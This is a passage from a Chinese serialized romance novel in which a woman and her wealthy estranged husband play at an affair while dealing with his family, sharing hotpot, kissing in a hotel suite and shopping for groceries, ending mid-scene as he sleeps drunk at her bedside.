红茶清香中和的作用下,蛋糕口感整体没太腻,且瓷实管饱,她利落吃光一块,再切时与林瀚睿交汇目光,愣愣平复唇角的弧度:“允许你免费看我了?”
“我不喜欢你脸上的班味。”
八成是欠收拾,梁尔璐不满他扯了抹笑意的五官:“让你喜欢了吗?”
狗东西胡说八道,哪有这么夸张……
“去海港城散散,现在满意了吗?”
桌面加湿器的气雾缭绕,弥漫男人指间拈着的几张黑卡,她撇开视线:“我不要,被记者传出去,以为我是个还没嫁入豪门就肆意挥霍的拜金女。”
四年前那八百万的利息都已是一笔可观数目。
“我陪你一起去?午休的时候,顺便出去吃饭。”
细品他这弯唇给予诱惑十足条件的心机,梁尔璐缓了些眨眼的频率,点头:“那我就勉为其难让你跟着吧。”
公司外解决午饭就意味着不用吃玉米羹,简直算天大的好事,林瀚睿果然是讨厌的生意人。
虽安静坐当他闲来逗趣的上班桌宠,但她半刻不停琢磨着怎么独自开溜,谁知苍天有眼,林瀚睿因一桩临时行程而抽不开身。
歪头对他挑衅完毕,梁尔璐赶忙逃。
不成想却在商场偶遇更讨厌的家伙,与仇人无异,历历在目的榴莲千层贼。
双方目光交接几瞬,梁尔璐倒只是平淡挪离视线,毕竟配合她五官的攻击性,也够煞风景了。
至于这俩大小姐还有钱进高奢品牌店,林瀚睿蛮手下留情。
店内忽而进入一长队的人马,她简单瞅看这奇怪阵仗,转头听了声二人组的跟班低低惊呼:“是林瀚睿他爸身边最得力的助手!哎,朝她走过去了。”
黑压压的整片……梁尔璐悻悻,唯独想钻地洞跑,请问能别靠近她吗?
队伍为首的男人站定她身前些,凭眼神使唤后边一众黑西装,顷刻间,她根本就没提几只袋子的双手空空。
男人端的是毕恭毕敬:“梁小姐受惊了,大少爷刚才联系林先生,让安排人陪您逛街。”
梁尔璐确定他紧急咽回的半截话语口型绝对是“夫人”,瞎说:“林叔叔也来了吗?我想他了。”
谢邀,没见过,不熟。
分明是公公约儿媳妇见面,却利用社交礼节迫使她主动提出这诉求。
“林先生的意思是您逛尽兴了再和他叙旧。”
胡来的旧,无非比谁会演……
梁尔璐寻思林瀚睿绝对没通知父亲,一旦知道这事,恨不得秒速飞来叼走她。
将手中黑卡刷出尽兴的感觉,她乘坐前往林家的车,驶向山的路程偏远,饶是时间足够,她到底也摸不透素未谋面公公的心理。
横竖都默认儿子娶了她,难道是权宜之计?秋后算账?
她好想报警。
眼观鼻鼻观心地由别墅管家带路,梁尔璐徒步久了些才抵达客厅,无语。
太子爷好可怜,回家像远程大迁徙。
坐沙发处的男人倚姿文雅,面部没太多正值中年一般的老态,精气神矍铄,此刻扬起微笑,无声招呼她过去。
家具质量显然上乘,梁尔璐却如坐针毡,面对顾自为她泡茶的沉默男人,直到从屋内返回的管家交出保险箱,方才递过杯盏,与她交流:“密码是Hendrix的生日。”
这种充满高雅茶艺的茶水,且由长辈斟倒,她瞬间不知该怎么个饮法,便局促一口干,捏紧瓷质小杯防摔:“谢谢您。”
保险箱内堆叠着手感软绒的首饰盒,纷纷占据她眼帘的珠宝璀璨夺目。
“打开看看。”
闻声抬头,梁尔璐愣回神之际,懂了他意指的什么。
其中乍一眼便觉最为价值不菲的木盒,一条翡翠项链被置于内部,成色属于肉眼可见的卓然。
“归林家历代大儿媳继承,剩余是当年答应了Hendrix,送给你的,打算什么时候办酒?”
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她怎么知道?林瀚睿忙着装失忆,演小三呢:“不太清楚。”
“以为是我?”
“嗯?”茶几处的热水频频冒息,梁尔璐迷惑眨眼,腹诽与公公交流好累,得靠头脑风暴,“我没猜过,因为真没必要。”
四年前无论是炎家亦或林家出面拆散她和林瀚睿,都无所谓,他们需要依赖欺骗而保持的爱人关系本就岌岌可危。
“难怪Hendrix会这么喜欢你。”
耳听男人了然的轻笑,她合拢木匣,放回原位:“我要离婚。”
梁尔璐直面他神情隐露的几丝不解。
“和四年前一样,我不会干涉你们。”林堇羲起身示意等候在远处的管家,低眸稍加打量态度明确的女人,“临时占用你的时间来这里,吃了饭再走。”
已随管家阿姨走向饭厅略久,她无法理解得知了儿媳妇决定离婚,就当场离开的公公,但也没再多揣度对方的具体想法。
餐桌两侧的家庭成员不少,除却之前见过的林文霆,其余面貌全凭林瀚睿那份人口文件才认全,而她装不认识,仅礼貌端庄了笑容致意。
靠近早为她准备的座位之前,这举动却惹得林文霆那双胞胎哥哥嘲讽呛声:“还以为Hendrix有多看重你,连最基本的亲戚关系都没教会你,就你也配上林家的桌吃……”
“哥!”
“够了!”
碍于林文霆接连几次才终于成功的打断,梁尔璐实在懒得让这炎端盈口中的顶级豪门混球多蹦跶:“他说没必要知道某些亲戚,你在我面前这么大放厥词,也没对他顾念过兄弟情义吧。”
这还吃什么饭?气饱了。
难怪林瀚睿恨林家。
“挺没教养,以后只会丢林家的脸。”
“最近不是已经开始了?到底是小门小户出来的。”
“是啊,劝某些人有空多看看那些记者写的稿子。”
“我怎么好像听见高门大户里的废物在说话?争不过一个年轻小辈的废物。”撂话摆了脸色,她冷面离开。
险些撞上急匆匆跑进客厅的林瀚睿,双肩瞬时遭他掌心拢住,直直落下逡巡般的目光惶然,生怕她少了半根头发似的浮夸模样。
“恋爱脑,你是不是还要哭?可是我女儿都很少掉小珍珠欸?”男人俯身间的拥抱劲道偏重却颤栗,梁尔璐抬手揪动他的衣袖,“走吧,你这破烂家连顿饭都吃不顺心,我饿了。”
耳侧充斥克制意味的啜泣声断续,湿润偶尔浸入她单薄的衬衫衣料:“我要哭,可以卖珍珠养你一辈子。”
果真是哭也不忘说情话的恋爱脑,她安慰的话即将出声,离开唇齿后反而成了难以绷住的笑。
想哄,可她见不得男人的眼泪,强烈建议再哭久些。
“太子爷不懂人间疾苦,就算你卖一辈子珍珠也赚不到小半张黑卡。”
客厅门没关,夏日午间的浓热与室内冷气源源不断地对侵。
林瀚睿环紧她肩背的双手明显松缓气力,俯向她的身形也退开少许距离,却始终并未完全放开,而脖颈忽然触碰凉意。
梁尔璐怔怔,望向轻抚她颈间翡翠项链的男人。
随即凝眸注视她的瞳色温柔而坚定,似执了光,如潮倾溢的深情诉说万千:“林家到我这一代,只有你配得上它。”
48.夏日
珠宝全在沙发,她费解林瀚睿这悄无声息成功的小动作,愣愣转身,便见管家手握木盒的配合无间模样,唇边漾了一抹似是感喟少爷终于娶到媳妇的慈祥笑意。
懒得多关注对方“家里总算要有女主人”的欣慰,梁尔璐的目光不由自主被管家腕部戴着的一串菩提珠吸引。
“走走走……”她几乎是连拉带拽将林瀚睿扯去屋外,确定四下无人,“你能帮我找个人吗?”
“那我有机会从fwb转正吗?”
梁尔璐宕机一瞬,惊讶这过于久远了解过的社交关系,试图从他平静无波的古井般脸容中打量出什么关键信息。
friends with benefits,有利益的朋友,也俗称炮友,但无论他指的是哪种意思,她的态度始终如一。
“小三,你姿色不错,我可以婚内出轨,但不谈感情。”哪怕是正演戏瞎说这四个字,梁尔璐同样觉得缺德……
“男人?”
她拳头有些硬,父子俩与旁人交流都爱讲虚空缥缈的半截跳跃话题,万一遇上个绕不过弯来的就老实了。
“对,出租车司机,你只需要帮我找到他,也不是太着急,但如果实在找不到也算了。”
梁尔璐忙着琢磨最坏的可能性,垂放身侧的五指倏忽被淋瀚睿牵紧了交缠,她傻眼怔看男人前行的肩身。
“我接受暂时一个人谈感情。”
简直是活灵活现的犟人艺术家协会会长,她拧眉,瞪他自信的侧脸:“那你该学着习惯永远一厢情愿了。”
刚才来时就发现这山上七零八落分布的独栋别墅,只有林家一幢属于中式园林庭院,主体五层拔地而起,前后左右占据的平方极其适合绕圈运动。
梁尔璐稍稍回忆豪门之间泾渭分明的个人偏好区别:“我看那边有户是都铎建筑风格,全三层楼梯间的整面墙都是玻璃窗,晚上开了灯绝对美出天际,最好是昏黄的暖调光。”
“你这么喜欢?是我那位不姓林堂弟的家。”
那又是谁教太子爷这样乱吃醋的?一股子听笑了的腔调。
她才无语到想发笑,便挣动胳膊,抗拒林瀚睿手间愈发攥紧的力气:“对啊,宇宙无敌喜欢。”
幸亏别墅内部的绿化错落有致,树荫能遮挡些烈日灼热,梁尔璐急忙躲进车,乏困感由冷气消减不少。
她转头望看垂眸按着手机工作的男人,眼底隐现倦怠的淡青,浮涌在偏白肤色。
“你的失眠怎么办?真容易猝死的,其实我不想让你吃药。”
“说不定我们睡同一张床,会比任何药都有效。”
梁尔璐佩服他讨骂的游刃有余模样:“这等于我上班接待病人时被对方耍流氓性骚扰,报警抓你啊。”
“没用的,病就是病,不是靠一个爱人就能治愈,更何况我们还没和好,不过……你说错了。”
来不及深想自己哪儿错了,她更意外林瀚睿从中央扶手箱内取出的保温食桶:“嗯,我不愿意跟你和好。”
“这等于小三在和你调情。”
选择性装聋,梁尔璐却没逃过他似认真的玩笑目光,只好低了头打开保温桶,竟是无比熟悉的玉米羹。
直至闻着些干贝与蟹肉的鲜甜,她眼瞳忽亮,向来爱吃这种经典做法的玉米羹,才将下意识斥责林瀚睿欠揍的话紧急撤回:“那你吃饭了吗?”
奈何他的恋爱脑十足叛逆,答非所问:“这就是你口中的不谈感情。”
到底也算不上什么难题,梁尔璐即答:“我从没否认过对你有感情。”
“哑巴了?嗯?说话。”她这次总没说错了?至于被呛沉默?
“留点胃,还要去吃火锅。”
嘴里滑嫩的羹瞬间不觉香,梁尔璐旋紧保温桶的盖子:“我还以为你堂堂太子爷,订了什么花里胡哨的高档餐厅。”
“莫非你忘了?四年前因为家宴,没能和你吃成火锅。”男人的嗓音明显沾些难以置信,充满了想太多导致的委屈。
可别……她没失忆更不装失忆,清楚记得林瀚睿彼时精神状态异常疲惫地回庄园,又匆匆离开,短暂时段内唯独吃了一颗肉丸子。
如今她算是得知那场家宴因林老爷子去世而挺沉重,梁尔璐摇头:“哦。”
盘山公路蜿蜒,身旁人也不再分神说话,耗费几十分钟到的火锅店眼熟,她读研期间没少消费。
开门营业还没多久,顾客倒是不缺,为了方便挑配料表,她勉为其难与林瀚睿挨坐圆桌周边。
他却越过胳膊拿走纸笔,极其迅速地先下手为强,圈划着勾选一个汤底,勾唇转看来:“吃什么你念,我写。”
梁尔璐持续瞠目结舌,捂嘴压低声线:“沙爹汤底里是带一点点点辣味的!而且油腻,你喉咙比较敏感。”
“来这家店的人绝大多数只是奔着沙爹汤底。”
废话,谁进老字号不吃经典,她啧声:“看见没,写了清汤里同样含有花生成分,换掉吧?吃个鲜,要么番茄汤?虽然只是飘着少量几片番茄……你怎么比梁卓熹还难教育!”
虽说料到了林瀚睿坚决不改的犟脾气,但仍被他发散的思维惊到。
“晚上我想吃你做的番茄炒蛋盖浇饭,以前没吃够。”
幸好不是要吃她,梁尔璐心有余悸:“哦。”
当年这狗东西一口气消灭她半碗饭的无赖劲儿还历历在目。
哪壶不开提哪壶,她略微觉着恼,当即剜了林瀚睿眼色示意。
他倒好,仅回应稍稍垂眼复抬的不以为意,且另扯话题:“看得出来你对我无话可说,总是‘哦’。”
“有话或无话也得视情况而定,我现在拿人手短,吃人嘴软,劝你珍惜我这好态度。”受不了,几张黑卡多到不止能三折叠,胜似烫手山芋。
何况他老拐着弯说情话,神情偏生也尤为真挚,她确实只好装傻充楞地哦哦哦。
“那你就多吃点,对我好得久一些,选菜吧。”
“哦。”总归是饿了,她不磨蹭。
排除店铺主打的部分招牌牛肉,上桌的火锅配料几乎是林瀚睿无法多吃的生鲜,他正忙剥虾,小幅度后仰着避开了呼向他眼镜的刚出炉热气。
梁尔璐特别想拒绝太子爷这纡尊降贵的体贴,可挂满沙爹酱汁的大条虾肉饱满,自己跳进了她的乌冬面碗,过分诱人。
至于他那只大多数盛着陆地上荤
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素菜的碗,好可怜。
她轻唤低眸擦手指的男人:“你都没吃几口,所以在公司吃过饭了?”
“没,只不过我现在身上一些人类正常欲望都低迷,但你想让我活着,我就活。”
梁尔璐怀疑应该是师叔狠狠教育了这病人,严肃点头:“过去四年里怎么活的?麻烦你照原样。”
“想见你。”
语出惊人,差点咳死她:“现在不是天天见?满意了吗?”
瞧不出林瀚睿平静的病弱脸深藏着什么情绪,她细细蹙眉。
“我现在想的是怎样才能留住你,答案是半死不活。”
意料之外又合乎情理的矛盾感窒息,梁尔璐利落舀起满大勺他碗里的米饭,塞人嘴里:“多吃点,别死我边上。”
见男人逐渐收敛错愕,腮帮子鼓囊地咀嚼,该是嫌白饭寡淡,皱巴了神色添一片牛肉,却嚼久了些才勉强下咽。
亏她一直以来总认为林瀚睿纯粹吃相斯文偏慢,但四年前的状态比这好太多。
“822。”
“什么?”莫名其妙的一串数字,梁尔璐语塞,很难不联想到别的,“小三,你想和我开房吗?刚不是还说欲望低迷?不长进的狗东西,又骗我?”
林瀚睿显然迟钝,表情比她更无语:“结婚日子……是今年的黄道吉日,也是四年前我们分手的坏日子。”
认真的?不怕做噩梦?
她翻了遍手机的老黄历,虽相隔四年,处暑仍是同一天。
“这意味着订婚日期迫在眉睫,你需要尽快离婚。”
“你!”梁尔璐微笑忍耐,毫不隐藏眸中刺向林瀚睿的眼刀子,“滚。”
见过催婚的,没见过催离婚的,他这甚至是在演戏催离婚。
她强压情绪,张望四周,唯恐附近有娱乐记者蹲守,转回身便对男人的额头使劲一弹:“林大影帝,这么会得寸进尺,你不要命了?”
但皮肤处瞬间泛起的红痕也架不住他眉目含愁地入戏太深:“小三想转正关系,人之常情,有什么问题?”
碍于吃火锅,梁尔璐将头发拢去耳后,偶尔滑落的丝绺不会造成太大影响。
林瀚睿搭在桌沿的指骨收力内扣,视线自上而下描摹过她脸容的每一寸,坦直道出曾经只能在私底下频频喃念的名:“Aria。”
那些,无数个梦里梦外都是梁尔璐的贪恋时刻。
而他安放心尖五年之久的爱人,迟迟不愿意接受他。
梁尔璐犯怔,极少听林瀚睿称呼她的英文名,这是第二次,但也算他真正意义上的第一次单独说,不夹带其余内容,可能只是想唤她?
纳闷之余,她疑惑着神情试探,第一次喊出生疏的字音:“Hendrix。”
“Hendrix。”鉴于林瀚睿的生意人逻辑,应该是在暗示她,也得叫回他两声,“现在扯平了啊,你觉得自己吃亏,打算让我礼尚往来就直说呗。”
没想到他却微微压了眉宇,垂头按手机。
不多时,梁尔璐收着个表情包。
【我要你猜我眉间的哀伤.JPG】
失算……需要参考的是他那没救了的恋爱脑逻辑。
49.夏日
对视间相继沉默,梁尔璐不知怎么的,回忆起林瀚睿刚才在别墅忍哭的湿红眼眶,睫上泪水将坠不坠的黏乎感。
八成是因他这装可怜惯犯的种种前科。
揪红了男人的双颊,她摊手耸肩:“小三,我已经哄过你了,别太肖想其余有的没的。”
却收他一副不肯善罢甘休的神色:“没哄到,甚至疼。”
“怎么没有?也算!”梁尔璐借助稍响的分贝掩饰心虚,之前居然萌生了想亲亲抱抱林瀚睿去哄他的念头,简直是能自扇巴掌的疯癫程度,“疼就对了,难道你不觉得自己活该吗?区区小三,要求真高。”
“当然,我对你有足够的野心,第一次做有夫之妇的小三,还不太熟练,请夫人多担待。”
面前的五官过分认真,因一双桃花眼的加成,平添数分情意,梁尔璐愣得近乎没边了。
林瀚睿这狗东西是故意在趁机借助别的话题,喊她夫人,对吧?
“但我要离开你了。”
“那最好不过了。”严重怀疑听错,她疑惑着敛眉示意男人。
怎知他泼来盆冰水:“只是离开你小段时间,我得先去抢回女儿。”
神经病,谁有能耐可以抢走某个人的亲生孩子?什么法外狂徒?
梁尔璐难以置信林瀚睿的精神状态,百般好奇究竟是哪位癫公癫婆教他玩小三游戏的。
男人眉峰微锁,显然全身心沉浸这狗血失忆戏码,演技无可挑剔:“你就待在我们未来的家里,不要想着逃跑,我回家见到的第一个人必须是你。”
而她演技是属于被林影帝亲自认证的稀烂,但足够能忍:“我是女鬼。”
横竖也没怎么忤逆太子爷的旨意,梁尔璐不解他当即站起的动静。
“回车里拿符纸治你。”
怎么不说拿桃木剑?她琢磨着等男人背影远远消失,捞过他留在桌子的手机,向来知道的锁屏密码却完全错误,输入“0822”才得以成功。
神经!分手日子有记的必要?
通讯录难以一划到底,梁尔璐拧眉轻喃:“怎么一堆英文名?对啊我早该想到的,又失算了,偷看都偷看了,不怕!救命,怕死了!所以盛家大小姐到底是哪个啊……”
“是那个Leo。”
“哦。”翻到对应的一栏号码,她伸手去够自己的手机,先拍了再说,半道儿惊恐着回神,转看神情毫无异样的林瀚睿。
男人接稳她松手间掉落的手机,摁灭亮堂屏幕,坐下之际才垂眸出声:“有这么喜欢他的别墅?林家改天也给你造一间相同建筑风格的?”
“这次我也没故意设计你,火锅店比较闷,纯粹去拿哮喘吸入剂备用。”
林瀚睿纯粹想太多,梁尔璐更是尴尬,没敢多看他受伤解释的模样:“我……我真的没这样误会你,刚刚是想问他当年为什么说认识我,但你以前知道这件事挺生气的,我就想偷偷联系他,我我不问了!”
“你只是好奇,做错了什么?”
至于此刻忽然弯唇询问的男人,愈发吓唬着她:“不问了,不问了。”
火锅内汤底煮沸蹿腾的上冒劲儿持续,水分蒸发,梁尔璐莫名感觉吃到了浓重的咸味,下意识齁得想呼救。
“问吧,我约他出来,你们正大光明地单独见面,省得你贼心不死。”
她恨不得秒速遁地逃跑,悻悻避开林瀚睿瞥来的凌厉眼风:“我遵纪守法不做贼,你放心。”
男人话虽不再多,但还是会为她剥虾,可惜都没第一条鲜甜,入口苦巴巴的。
回了公司照样心头泛苦,梁尔璐站去电梯门沿最近的角落。
身后的林瀚睿却重新扯回老话题:“为什么总是学不乖?”
笑死,她即答:“明明是你自己有病。”
“你随便找个男人问,哪个受得了女方提其余男的?”
“对,但你是发疯版!”
“你这是真想我断你社交。”
“断啊,关我啊,报警抓你。”
“我会给你报警的机会?”
耳听身后掺杂笑腔的态度,梁尔璐沉默,到了楼层便第一时间躲回人多的秘书室。
见谢柏延投来不忍直视的目光:“哦呦,梁姐你这什么超绝偷感?见鬼撞邪了?”
“比鬼更可怕。”颓废陷进办公椅,她深呼吸掐人中。
“Hendrix?我心有余而力不足,为你默哀一秒,完全不敢多,对不住了梁姐!”
眼看女人丧气抱头,趴去桌面枕臂埋了脸,翁秘书面露怜爱,紧急反应过来实在不该对老板盯上的女人动这该死的表情。
“五十四分钟后,林董需要跑公司外的行程,你们得随行,届时项目相关的高管们也会跟着,你们更应密切关注林董的情况。”
“耳朵进水了,听不见。”梁尔璐抓乱头发,刚才简直是脑子进水,完了。
手机震动,林瀚睿的信息唯独显示“地库”两字,害她下意识幻视成“地下室”。
经过桌边的身形似风迅疾,谢柏延费解:“翁秘书,你听清我梁姐嘴里不停念叨着什么了吗?”
“呃,好像是……遵纪守法?”
沉默不再,二人双双嘶声。
*
打双闪的车并不难找,梁尔璐坐进,怯怯打量拨转方向盘的林瀚睿:“工作不是要一小时之后吗?现在去哪?”
“既然你如此配合地随叫随到,就别怕成这样。”
男人侧颊的淡然神色怎么都不像藏了坏心思,她放弃琢磨。
所去之处没太远,维港附近的地下车库。
她傻眼:“港岛瑧颐酒店……你家的,等等,你带我来酒店干什么!我说不问了就是真的不问了,你相信我呗?”
林瀚睿倒是心情大好地扬笑:“撒娇也没用。”
人生地不熟的,更何况谁会信不缺奉承的林家太子爷需要亲自抓女人,梁尔璐懒得费力气挣手,打碎银牙往下咽:“狗东西,我一定会报警的,让Rosalind判你这个混蛋堂哥的罪!”
“Rosalind没空,你有时间不如担心自己。”
得亏房号并非822,而是特高层的总统套房内,否则她该担心他因为分手日子疯了。
一时想岔,梁尔璐猝不及防被林瀚睿按到沙发,骤然下坠的失重感令她惊慌攀附男人手臂,怔怔缓了会儿,扭眉与居高临下摁来她肩锢住的男人对视。
“分神?又在想哪个男人?我哥?”
受透了他眸中永远
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没安全感的偏执,梁尔璐烦躁:“这就是你挽回我的诚意?终于装不下去了吧?放开,你放开我!”
却未料到林瀚睿眉眼稍愣,随即竟弯了些哭笑不得的弧度:“梁秘书,你脑子里整天都在想些什么?下午要和政府部门的人见面,吃火锅穿的衣服多少沾味。”
“我若想睡你,刚才在车里岂不更顺手?”
“你还是这么可爱。”
平平无奇的真实意图反由她误会得大相径庭,梁尔璐顿时面红耳赤,闭眼间皱巴了脸嫌丢人。
即将抿咬的唇瓣却受到轻软覆力,林瀚睿近在咫尺的脸容映入眼帘,这次倒是好心容许她中途换气,但也仅开玩笑似的一丝半缕。
梁尔璐推拒不成,男人全套西装穿在身,她的指端也无法掐进人臂肉,待他单方面行使了宣告结束的主动权,才得以大肆呼吸。
她偏头躲掉林瀚睿快要触及自己红湿眼尾的手指,蹙眉相视:“这就是你口中的欲望低迷?”
“是低迷,不是没了。”
清晰可辨他发沉的哑声,梁尔璐撇开视线内的深浓眸色。
“你去洗漱吧。”
沙发下陷的痕迹消失,她二话不说起身跑向卧室。
床边的纸袋内塞了换洗衣物,出自她行李箱,梁尔璐抓紧时间解决,但不清楚林瀚睿在哪间。
试着其中一房打探,她直愣愣撞见充满潮气的男人走出浴室,瞬间后退半步,示意自己的喉咙位置:“哦!我,我是怕你洗澡的时候……”
面前擦拭着半湿发绺的林瀚睿闻声扯笑,却卖关子似持续不语,独独凝眸盯看她。
“怎么,梁医生对别的哮喘病人也这样过度紧张?”
“不会有事的,你在酒店休息,等我下班来接。”
到底是一着不慎就容易猝死的病,梁尔璐严肃正色:“可是……总之你别死我边上,惹不起太子爷的势力。”
“没有你的四年,我都活了下来,现在更舍不得。”
她还想出声,鼻尖却遭林瀚睿抬了单根手指,小力点触。
隐隐残余的感觉令梁尔璐气急败坏他这招成功偷袭:“你在逗猫吗?”
“嗯,长了一身犟骨头的小野猫。”
“那你就是长了一身犟骨头的绿茶小猫!天天争风吃醋!”
她就不该松口同意陪他演婚内出轨的,到头来坑的是自己:“小心我把你胆大包天的猫爪子绑起来。”
“我生病了,对不起。”
前后话题毫无关联,梁尔璐纳闷这平静的道歉:“你说什么……嗯?”
一瞬间的凌空感,她疑惑张望身下坐着的桌面,因此低垂的脸被林瀚睿扳正且抬,男人扣托在她后脑勺的五指使力,拉近了双方距离。
唇瓣由他压碾得过火,颈沿的手一路探向头发的丝绺间,指节嵌抵发缝深处,这股外来的凉意松了力道退远之后又重挤进几分,循环往复。
艰难送林瀚睿一下没多少攻击值的铁头功,她气恼推远他,稍稍直起些腰,匆忙整理乱糟糟的睡裙。
“桌子我会擦。”
无法装听不见,梁尔璐咬牙切齿,瞪视着神色自若并抱她下地的男人:“谁弄的当然谁擦,狗东西,我要把你的猫爪子剪秃!剪光!”
50.夏日
贴墙的桌面长窄,她本就无力坐不稳,此刻少了林瀚睿抵在身前,难免晕乎地歪斜倾摔,千钧一发之际由他止住扑落的动作,趁势揽抱入怀。
膝弯内侧倏然受到他指关节轻按的力,梁尔璐下意识心存不满地嚷声瑟缩,听见男人调笑的口吻。
“看来不怎么颤了。”
她实在好奇林瀚睿病恹恹的喉咙是如何说出这么欠揍的话:“嘴不要的话,我可以帮你缝上!”
他却压根毫无收敛:“其实不用擦桌子,真的,我没骗你。”
梁尔璐拒绝看向所指的方位,因林瀚睿转身走回主卧的步伐,目光险些触及,当即重新将脑袋偏回他肩前,垂眸防止二人视线交汇。
狗东西……
这狗东西再出浴室,便是端着副西装革履的衣冠楚楚派头,往床头柜放下一杯温水:“渴了吧。”
应是用了洗烘机旁的嵌入式直饮机,她刚才洗澡时觉得新鲜,自家豪宅的装修与之相比显然有些朴素。
“对啊。”圈紧怀中的枕头,梁尔璐没好气,“晚上别睡太死,我一定把你的手剁了。”
好想报警抓林瀚睿,但没人会管合法夫妻玩游戏。
“那我再去学学小三该怎么陪夫人。”
见了鬼的小三,再演?
梁尔璐拢眉,双眼剜他煞有介事的脸容:“狗东西!你有种再说一遍?五十四分钟已经没剩多少,你该滚去上班了。”
“在滚了,等我下班。”
要疯,她真难以忍受林瀚睿愈挫愈勇的厚脸皮,还是说他难道也会背着她躲哪儿偷偷哭?
想看想看。
梁尔璐随即手下留情地呼了自己一巴掌,清醒脑子。
*
谁知傍晚五点零几就重新和林瀚睿见面,她甚至还磨蹭着没换衣服,忘我地瘫在沙发看电视,算是极其无奈林瀚睿这唯恐老婆丢了的速度。
“我回来了,你今天逃了吗?”
“呜呜呜,你终于回来了,我好害怕,好想你啊。”继续塞些薯片吃,梁尔璐朝他瞥去视线,声调平平,无感情输出配合他病娇戏码的即兴台词。
挪离了双方对视间的目光,她撇嘴起身离开客厅。
失算,这滑稽回应竟是玩得林瀚睿眉眼沾笑,神情餍足。
他们并未直接下负楼层的地库,而是中转了酒店包厢的一场饭局,梁尔璐百无聊赖等在门口,林瀚睿倒是也快,走过场似的。
“签证下来之后,你跟他们研发药物。”
她稍稍回忆从门缝瞧见的部分与餐人员:“你再说一遍?”
“让梁医生做生活秘书是绝对的屈才,研究所在港岛算老牌,研发了不少上市流通至今的中成药,团队手上有个项目长达二十年,成员之一出于年龄和身体原因,暂时离开调养,在临时招人,而我是投资人之一。”
“招人很久可惜长时间空缺,也没说为了塞你一个关系户,恶意抢占其余人已有的名额,这种事向来讲究一个履历资格和先到先得,我已经联系过你师叔,你工作单位那边不会有问题。”
活像说着嘘寒问暖般的稀松平常话题,梁尔璐怔怔盯看弯唇示意她考虑的林瀚睿:“但我本硕博主修的不是药学,虽然也会做实验……总之跨专业的关系户更尴尬。”
揪够裙腰的系带,她痛定思痛:“那我试试,当万人嫌去了。”
原本的人生计划是打算循序渐进熬到主任医师这一职业最高目标,像师叔那样评教授,带学生搞科研,父亲认为待了医院,中医会变得不够纯粹,但老梁家这临近几代总得出一个爬到山顶的。
跑远的思绪由林瀚睿扯回,梁尔璐愣,听他重复原话:“梁秘书,下班了。”
“废话。”她甚至按照老板的要求,翘了班。
遭此嫌弃语气的男人也不退,顾自揽过她的双肩入怀,偕步走向电梯。
梁尔璐推却无果,抬头怨怼视他衔笑的嘴角:“你这些酒店员工下班之后就蛐蛐你是恋爱脑!”
“恋爱脑丢人吗?”
“你看过一个视频吗?猫和鸟之间相距不远,鸟一直不飞,猫摸摸它的头,满屏弹幕几乎全是‘嗑到了’之类的。”
她啧声,侃林瀚睿不知羞反自喜的模样:“看吧,恋爱脑真下头,请问鸟敢飞吗?还没飞起来就直接被猫爪子挠得没命了,摸头?宠溺?这是爱情吗?是捕猎前的试探。”
“我爱你,所以你能接受我吗?哪怕只是晚上也行。”
看吧,怎么赶与骂都没用,恋爱脑真难杀。
梁尔璐对他毫无受伤意味的眸色表示投降:“谢谢,和你上床真的很累。”
“和你老公呢?”
狗东西这是又演上了,面容稍凛,不算爽利,她无谓摊手:“你猜啊。”
“无论白天黑夜,你只能是我的。”
懒得搭理林瀚睿固执圈定界限的幼稚行为,梁尔璐装聋作哑到超市,才用各种语气词或鼻音敷衍他针对买菜的交流。
偶然瞥见男人伸手拨开莲藕上的浅层碎冰,她当即拍向人手背:“你病好了?手温本来就冷。”
应是情急之下没确准力道,皮肤瞬间发红,林瀚睿颇为意外,神态可怜:“就碰碰,又没贪凉吃冰,你未免也太夸张了?”
“让你怎么样就照做。”横竖并非致命伤,梁尔璐挪地儿拿过一包莲藕放入购物车,皱眉示意他看清楚,“你怎么能挑七孔莲藕呢?你刚说的是想做成莲藕酿肉,没打算炖汤用,所以得是要九孔的,豪门太子爷什么都不懂。”
“你就只是来买菜的?”
好似什么天大的笑话,她渐松的眉再次拢回,歪头打量不满且欲言又止的林瀚睿:“难道像你是来谈恋爱的?或者享受甜甜的婚后日常?”
绝对是戳中他肺管了,男人顿时委屈推走购物车:“太子府不缺佣人买菜。”
“恋爱脑……”她当真佩服得五体投地,不情不愿跟去。
水果区能试吃,梁尔璐后仰些头,避开林瀚睿递过的一块菠萝,但半道被截回。
属于是逢人见了都得叹一句感情好的近距离,而实际上,这笑容温温的狗东西完全没做人:“吃吧,嗯?否则晚上再欺负你。”
她突然忘了人类该如何笑,老实吃:“挺贵的,买三个回去。”
“听你的。”
今天这坑太子爷的散财童子,她当定了。
瓜果蔬菜没买太多,她不忍直视林瀚睿在零食区加重购物车负担的模样,与父母打电话:“嗯,住他家呗。”
随即因父母嘱咐的事发愣,不明所以着瞥向身旁男人:“知道了,我会告诉他的。”
迟钝收回凝视通话结束界面的目光,梁尔璐撞撞他胳膊肘:“少买点,你那些钱是大风刮来的?我爸妈说你外婆在祖宅等你吃饭。”
除了一瞬的怔忡,林瀚睿表情无太多异样显现,唯独攥在购物车的五指收紧好些,但也极快恢复正常握力:“那我先送你回去。”
梁尔璐欲言又止。
他情绪不对,却并不想她陪着一起。
*
入夜。
她睡得早,碍于实在害怕独居过分空大的房子,始终没安稳,总之绝不承认也是因为担心林瀚睿。
醒来借助室外微弱光线,察觉林瀚睿正坐地,靠枕在床沿呼吸均匀,竟如此草率地眠了……
梁尔璐捂嘴忍住尖叫,之前就跟他说过这样很吓人的!
鼻息间混入丝丝酒气,她皱起五官,凝他平日里病态白的脸色被醉意氤红润,坏心思上头,干脆故意探手轻捏他热乎乎的侧颊。
梁尔璐蹑手蹑脚下床,听着懵懂初醒的林瀚睿弱声哼唧,连忙揽他坐起些,使其靠来怀里。
未料他居然挨近几分,柔软发绺顺势蹭她颈窝,丝缕牵带的痒意持续会儿才消停,更是伸手搭去她的腰。
可以忍。
可以忍。
床头柜不远,梁尔璐取过黑漆漆的猫耳发箍,先前女儿因喜欢家里的两只黑猫,非要买这小玩意,却不知怎么就进了她的行李箱。
多欣赏了一阵长出猫耳朵的林瀚睿,她努力忍笑:“睡什么睡?是谁绿茶味?喜欢装可怜的?是不是你?再装可怜给我看好吗?这个耳朵是可以下垂的哦。”
即使略微拨弄,毛绒内部的小铃铛也清越作响。
兴许是嫌吵,男人于酣困中小幅度地敛眉,继续任她欺负的随意摆布状态。
可惜控制笑声导致的脸酸难受,梁尔璐迅速开手机拍摄,没关系的,再多多录像纪念吧。
不确定视频能否录入林瀚睿微弱昏沉的几声喃语,她倒足以听清,全是“妈咪”,依然在无固定频率地重复。
此刻唤完母亲,却添一句衔接的。
